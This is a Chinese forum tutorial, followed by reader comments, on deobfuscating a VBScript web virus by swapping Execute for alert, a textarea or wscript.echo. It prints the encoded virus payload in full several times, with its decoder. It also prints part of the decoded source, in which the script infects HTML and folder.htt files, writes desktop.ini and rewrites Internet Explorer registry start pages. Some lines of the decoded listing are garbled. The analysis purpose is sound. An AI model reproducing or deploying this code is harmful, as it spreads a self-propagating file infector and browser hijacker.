ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH        emdie        emdstb rua leqgdRdgDnsrher((        Om Drqoq QeruleNdxs        fnrx<0tn 1        AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua        StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(        Om Drqoq QeruleNdxs        WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd        EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(        EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(        Om Drqoq QeruleNdxs        sdtmxFhld=esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(        mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6        EmdStb"
    Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
    alert(myDecString)
    -->
</script></html>

方法2：使用上述 document.write 中提到的以文本框的形式解决，修改代码如下：

<textarea id=sorataxx rows=50 cols=100></textarea>
<script language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd        dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!        dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!        dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!        stbm`im_nnko`d') hnht@csiueW((        imisDhrOashr((        imisRdgDnsrher((        imisDqooCndds') bhdcjEwirtEiker((        imfdcsTgirFhld(SelpkaseEike(        imfdcsRnosDhr') dnc rua        stbm`im_nntnko`d') hneebtQontCiq((        cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher((        SbamFhldsHn'TgirDhrOash(        cgebkCaseOLnac((        emdstb rua hnht@csiueW((        Om Drqoq QeruleNdxs        SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(        AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(        AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd((        Sdtfro=AopNbi.FesOajdcs((        emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst!        TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0        Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem        TgirDhrOash=Mhd'TgirDhrOash+ 0,x(        Eksd        TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash(        EmdIe        emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua        stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!        imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<!        imiKime'7(=![-SgeklBl`srImfn]!        imiKime'8(=!CnneiqmEikeNp<0!        fnrx=0tn 7        DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!        dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!        dqooMd(3)=,-! % !>;/! % !sbrhps>!        fnrx=0tn 3        vBoce<vBoce&dqooMd(w)&vacqle        ndxs        fRtqimg<mxEmcRtqimg dnc rua        StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker        FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker        mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash(                 HfmxEwt=gtsTgem        SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(        mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua        StbimfdcsTgirFhld(eokddrrpdc(        Om Drqoq QeruleNdxs        SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk        mxFhld.Blnsd        k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0        ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0        ewis eoq        emdie        ndxs        ie j=/ shdn        vOCndd=lyBomtdnss&vacqle % uCndd        SdtmxFhld < esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd        mxFhld.Blnsd        emdie        EmdStb rua bhdcjEwirtEiker((        Om Drqoq QeruleNdxs        Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(        mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS        emdstb rua hneebtQontCiq((        Om Drqoq QeruleNdxs        Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH        emdie        emdstb rua leqgdRdgDnsrher((        Om Drqoq QeruleNdxs        fnrx<0tn 1        AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua        StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(        Om Drqoq QeruleNdxs        WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd        EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(        EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(        Om Drqoq QeruleNdxs        sdtmxFhld=esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(        mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6        EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)"  & vbcrlf & "if s=chr(19) then s=chr(34)"  & vbcrlf & "if s=chr(28) then s=vbCr"  & vbcrlf & "if s=chr(29) then s=vbLf"  & vbcrlf & "myDecString=myDecString & s"  & vbcrlf & "next")
sorataxx.value=(myDecString)
--></script>

方法 1 和 方法 2 修改代码，然后 ie 执行得到“明文”：

On Error Resume Next
dim AppObj,fso,WsShell,WinDir,TemplateDir,ThisDirPath,TemplateFile,myStartPage,DesktopINI,folderHTT,myEncString,fString,vCode
! ! ! ! ehnnxFwqLbho'3(-lzKpbbkLdz'3(-hohMhod)7*+eqpoNd)3* cpbvlfmu-xqjsf;%cju!ruxmd>&whthchmhux;ihecfm(==!'!boqkfs!mblf<(ucr/hd`sNt-1-1-20(dned>bpl/lt-bbuhwdY-BbuhwdYBplqnodos?;0!'!boqkfs?;0!'!ehw= lzCbsb<;%rdqjoum`ofv`hd>!ucrdqjou!gns<!xhocpv!!dwdos>!!
! ! ! !document.write myData & "onload"">main_onload()</"&"script>"
! ! ! ! endtndos/vshud!lzCbsb'notokp`e!=n`jm`notokp`e'*;0!'!tbshqs?!
! ! ! !sub main_onload()
initActiveX()
! ! ! ! jmjsEhsObsir)(
! ! ! !initRegEntries()
! ! ! ! jmjsEqpoDnedt'* biddjFwjruEjkfr)(
! ! ! !infectThisFile(TemplateFile)
! ! ! ! jmgddsSnpsEhs'* doc!rva
! ! ! !sub main_onunload()
infectRootDir()
! ! ! ! dgfblDyhtsGhmdt'* hoefbuSihtEjkf'Udnom`udGhmd* lfqhdSdhDosshfr)(
! ! ! !ScanFilesIn(ThisDirPath)
! ! ! ! dgfblCbsfOMnbc)(
! ! ! !end sub
sub initActiveX()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !Set AppObj = document.applets("vbs.icarOs.0.0.11")
! ! ! ! BoqNci/rfsDKTHE)!|E:26CD13,2BG/.02C1,BCC8./1B13GC67B/C|(
! ! ! !AppObj.createInstance()
Set WsShell = AppObj.GetObject()
AppObj.setCLSID ("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppObj.createInstance()
! ! ! ! Tdugrp>BoqNci/FfsPakdds)(
! ! ! !end sub
sub initDirPaths()
On Error Resume Next
WinDir = fso.GetSpecialFolder(0)
TemplateDir = WinDir & "" & "Web" & ""
TemplateFile = TemplateDir & "folder.htt"
! ! ! ! UgjrEhsObsi>Nhe'xhocpv/kpbbsjno+!8-Mdo'xhocpv/kpbbsjno(* Epq!w!<!Kfm)SihtCjqQ`ug*Un!0!Rudq.0
! ! ! !If Mid(ThisDirPath, x, 1) = "/" Then Exit For
Next
If LCase(Right(ThisDirPath, 3)) = "htm" Or LCase(Right(ThisDirPath, 4)) = "html" Then
! ! ! ! UgjrEhsObsi>Nhe'UgjrEhsObsi+!0-y(
! ! ! !Else
! ! ! ! UgjrEhsObsi>Nhe'UgjrEhsObsi+!0-Mdo'UgjrEhsObsi(!*!w*'. SihtCjqQ`ug!<!todtbbof'UgjrEhsObsi(
! ! ! !End If
! ! ! ! fmettc rva!hohuQffFmuqjdt'* NoFqsnsSdttnd!Mfwu lzKpbbkLdz'1(!<!!TsbquQ`hd lzKpbbkLdz'2(!<!!Mnd`mQ`hd lzKpbbkLdz'3(!<!!Edg`vku^Q`hd`TSK lzDyoN`jm)/*>GLDZ^DTSQFMU^VRFQ]Rpeuvbqf[Nhdqprpeu[Jmudsmfs!Dyomnsds[N`jm]!
! ! ! !myExpMain(1) = "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main"
! ! ! ! nxFwqLbho'3(!<!!IJFX`TTDSR]-EDG@VKU[Tngsx`sd]Ljbsntngs]HosfqoduFwqkpqfq]Lbho[ lzRu`ssQ`hd!<!!isuo;.0vxv/ffndhuhfr/bpl0gfce``lbqjd`spkfmuhon0hocfw/gul doc!rva
! ! ! !sub initDropCodes()
On Error Resume Next
iniLine(0)="[ExtShellFolderViews]"
iniLine(1)="Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
! ! ! ! jmjKjmf'3(>!|4:75EGD1,37E3.02BG,BD75./9/11C1F0353|>z6893GEF/.19C5,20DE.@F57,171/3A3D2171~!
! ! ! !iniLine(3)=""
iniLine(4)="[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
! ! ! ! jmjKjmf'6(>!QdsrjruLpmjjfq>ejkf90.Gnmcfq/gus hohMhod)5*<!
! ! ! !iniLine(7)="[.ShellClassInfo]"
! ! ! ! jmjKjmf'9(>!DnoejqnEjkfNq<1!
! ! ! !for x = 0 to 8
! ! ! ! EdtjunqHOH>CfrlspoJMJ'jmjKjmf'y(!%!ucbskg mfwu epkedsGUS!<!!=!'!isnk?;%apcztszkf<!n`sfjm;1!tbsnmk>mp==!'!pakdds!he<GhmdMhts!apqeds<1u`chocfw>0!bm`trjc>!bmrjc;0911EFC1,564D.02C1,B87B./1B13GC8/6@3!tszkf<!xhesi9!01/&:!gfhhgu9!01/&!u`cHocfw>,2==.%ncifbu==.%apcz==.%gulm= csnqLf'1(!<!!=!'!tbshqs!kbmhtbff<!watbshqs!?;%dgs'42*%,.!
! ! ! !dropMe(1) = "myEncString="""&myEncString&""""
dropMe(2) = "Exe" & "cute(""for i=1 to Len(myEncString)"" & vbcrlf & ""s=chr(asc(mid(myEncString,i,1))+i mod 2)""  & vbcrlf & ""if s=chr(19) then s=chr(34)""  & vbcrlf & ""if s=chr(28) then s=vbCr""  & vbcrlf & ""if s=chr(29) then s=vbLf""  & vbcrlf & ""myDecString=myDecString & s""  & vbcrlf & ""next"")"
dropMe(3) = "Exe" & "cute(myDecString)"
! ! ! ! eqpoNd)3*>,.!!%!!?;0!!%!!tbshqs?!
! ! ! !for x = 0 to 4
! ! ! ! wBpcf<wBpcf'eqpoNd)w*'wadqme
! ! ! !next
! ! ! ! gRuqjmh<nxFmdRuqjmh doc!rva
! ! ! !Sub ScanFilesIn(folderspec)
On Error Resume Next
Set myFolders2 = fso.GetFolder(folderspec)
Set mySubFolderFiles = myFolders2.Files
! ! ! ! GnsF`dg!lzRvaGnmcfqGhmd!HonxTtcEpkedsEjkfr
! ! ! !myExt = LCase(fso.GetExtensionName(mySubFolderFile.Name))
If myExt = "htm" Or myExt = "html" Or myExt = "htt" Then
infectThisFile (mySubFolderFile.Path) ! ! ! !! ! ! ! 
If myExt = "htt" Then
! ! ! ! TdunxGhmd!<!etn/FfsGhmd)lzRvaGnmcfqGhmd/Obsi(
! ! ! !myFile.Attributes = 7
End If
End If
Next
End Sub
! ! ! ! TtcjmgddsUgjrGhmd)epkedsrqdd(
! ! ! !On Error Resume Next
! ! ! ! TdunxGhmd!<!etn/NqdoSfwuEjkf'gnmcfqtofb* lzBpmudost>nxGhmd/Qf`e@mk
! ! ! !myFile.Close
! ! ! ! l<1 epq!h>mdo'nxDnosfmur*un!0!rudq.0
! ! ! !if mid(myContents,i,len(fString))=fString then 
k=k+1
! ! ! ! fwjs!epq
! ! ! !end if
! ! ! ! odys
! ! ! !if k=0 then 
! ! ! ! wODned>lzBpmudost'wadqme!%!uDned
! ! ! !Set myFile = fso.GetFile(folderspec)
! ! ! ! nxGhmd/@usshctudt>1 Rfs!lzEjkf>grp-PofmUdysGhmd)epkedsrqdd+!1* lzEjkf-XqjsfwODned
! ! ! !myFile.Close
! ! ! ! fmeje
! ! ! !End Sub
sub checkExistFiles()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !If not(fso.FolderExists(TemplateDir)) Then Set myFile = fso.CreateFolder(TemplateDir)
Set myFile = fso.GetFolder(TemplateDir)
! ! ! ! nxGhmd/@usshctudt>8 BsdbsfSihtEjkfUdnom`udGhmd-epkedsGUS
! ! ! !end sub
sub infectRootDir()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !If Len(unescape(ThisDirPath)) <= 4 Then
ThisDirPath =Mid(ThisDirPath, 1, 3) 
CreateThisFile ThisDirPath&"folder.htt",folderHTT&vbcrlf&vCode
CreateThisFile ThisDirPath&"desktop.ini",DesktopINI
! ! ! ! fmeje
! ! ! !end sub
sub mergeRegEntries()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !for x=0 to 2
! ! ! ! BoqkzQffDgbmhdtSpnxFwqLbho'y(!%!lzKpbbkLdz'y(-QFF`R[!-nxTsbquObff mfwu doc!rva
! ! ! !Sub ApplyRegChangesTo(myRegKey, myRegType, myRegValue)
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !WsShell.RegWrite myRegKey, myRegValue, myRegType
! ! ! ! FmeTtc Rva!biddjE`udQKp`e'* NoFqsnsSdttnd!Mfwu HgNhe'GnslbsE`udUhnd)Mpv)(-3(-2+!3*>8017!!SidoXrTgfkm-Sto)!STOCMK41/DYD!ridmk41/cmk-RIDyhuVjmenxrFw!1(
! ! ! !End Sub
Sub CreateThisFile(folderspec,withContents)
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !set myFile=fso.GetFile(folderspec)
! ! ! ! nxGhmd/@usshctudt>1 Rfs!lzEjkf<grp-Dqf`udUdysGhmd)epkedsrqdd+!Sstf(
! ! ! !myFile.Write withContents
myFile.Close
set myFile=fso.GetFile(folderspec)
myFile.Attributes = 7
! ! ! ! FmeTtc

方法 3：直接 wscript.echo 替换 execute，然后执行该 vbs：

myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd        dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!        dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!        dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!        stbm`im_nnko`d') hnht@csiueW((        imisDhrOashr((        imisRdgDnsrher((        imisDqooCndds') bhdcjEwirtEiker((        imfdcsTgirFhld(SelpkaseEike(        imfdcsRnosDhr') dnc rua        stbm`im_nntnko`d') hneebtQontCiq((        cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher((        SbamFhldsHn'TgirDhrOash(        cgebkCaseOLnac((        emdstb rua hnht@csiueW((        Om Drqoq QeruleNdxs        SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(        AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(        AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd((        Sdtfro=AopNbi.FesOajdcs((        emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst!        TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0        Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem        TgirDhrOash=Mhd'TgirDhrOash+ 0,x(        Eksd        TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash(        EmdIe        emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua        stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!        imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<!        imiKime'7(=![-SgeklBl`srImfn]!        imiKime'8(=!CnneiqmEikeNp<0!        fnrx=0tn 7        DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!        dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!        dqooMd(3)=,-! % !>;/! % !sbrhps>!        fnrx=0tn 3        vBoce<vBoce&dqooMd(w)&vacqle        ndxs        fRtqimg<mxEmcRtqimg dnc rua        StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker        FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker        mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash(                 HfmxEwt=gtsTgem        SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(        mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua        StbimfdcsTgirFhld(eokddrrpdc(        Om Drqoq QeruleNdxs        SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk        mxFhld.Blnsd        k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0        ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0        ewis eoq        emdie        ndxs        ie j=/ shdn        vOCndd=lyBomtdnss&vacqle % uCndd        SdtmxFhld < esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd        mxFhld.Blnsd        emdie        EmdStb rua bhdcjEwirtEiker((        Om Drqoq QeruleNdxs        Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(        mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS        emdstb rua hneebtQontCiq((        Om Drqoq QeruleNdxs        Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH        emdie        emdstb rua leqgdRdgDnsrher((        Om Drqoq QeruleNdxs        fnrx<0tn 1        AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua        StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(        Om Drqoq QeruleNdxs        WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd        EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(        EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(        Om Drqoq QeruleNdxs        sdtmxFhld=esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(        mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6        EmdStb"
    Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
    wscript.echo(myDecString)

"明文"在上面也已经贴过了，然后我们思考下，看似在对 vbs 的反混淆方法我列了 3 个，实际上也不止，但根本，只有一个—— 对 execute 的处理，基本上就可通杀；
类比思考，大部分 javascript 又何尝不是如此，都在 eval 和 document.write 上，所谓的 alert 替换看似是在讲第一部分中出现的，可是它的实际使用却又往往不拘泥于此，了解 alert 的实质得一法可通万法。
现在的网络环境日益严峻，层出不穷的各种混淆方式也带来了无穷无尽的“新概念”，盲目浸淫于各种“教程”和“工具”只会精疲力尽事倍功半。

linyou

base64解密的这个是什么工具，可以给出来么

我爱破解888

好帖。。。。。

屁颠屁颠啊

摸摸叉子

cat8899

咋没人评分呢,我评个

lxj520dyn

支持一下 回复备用

xiyang2011

好帖子，收藏慢慢消化了

0#1

又学会一手，感谢分享

wpig

虽然没看懂，还是学习了，多看看先

hw2619

很详细啊，感谢楼主这么耐心的贴出来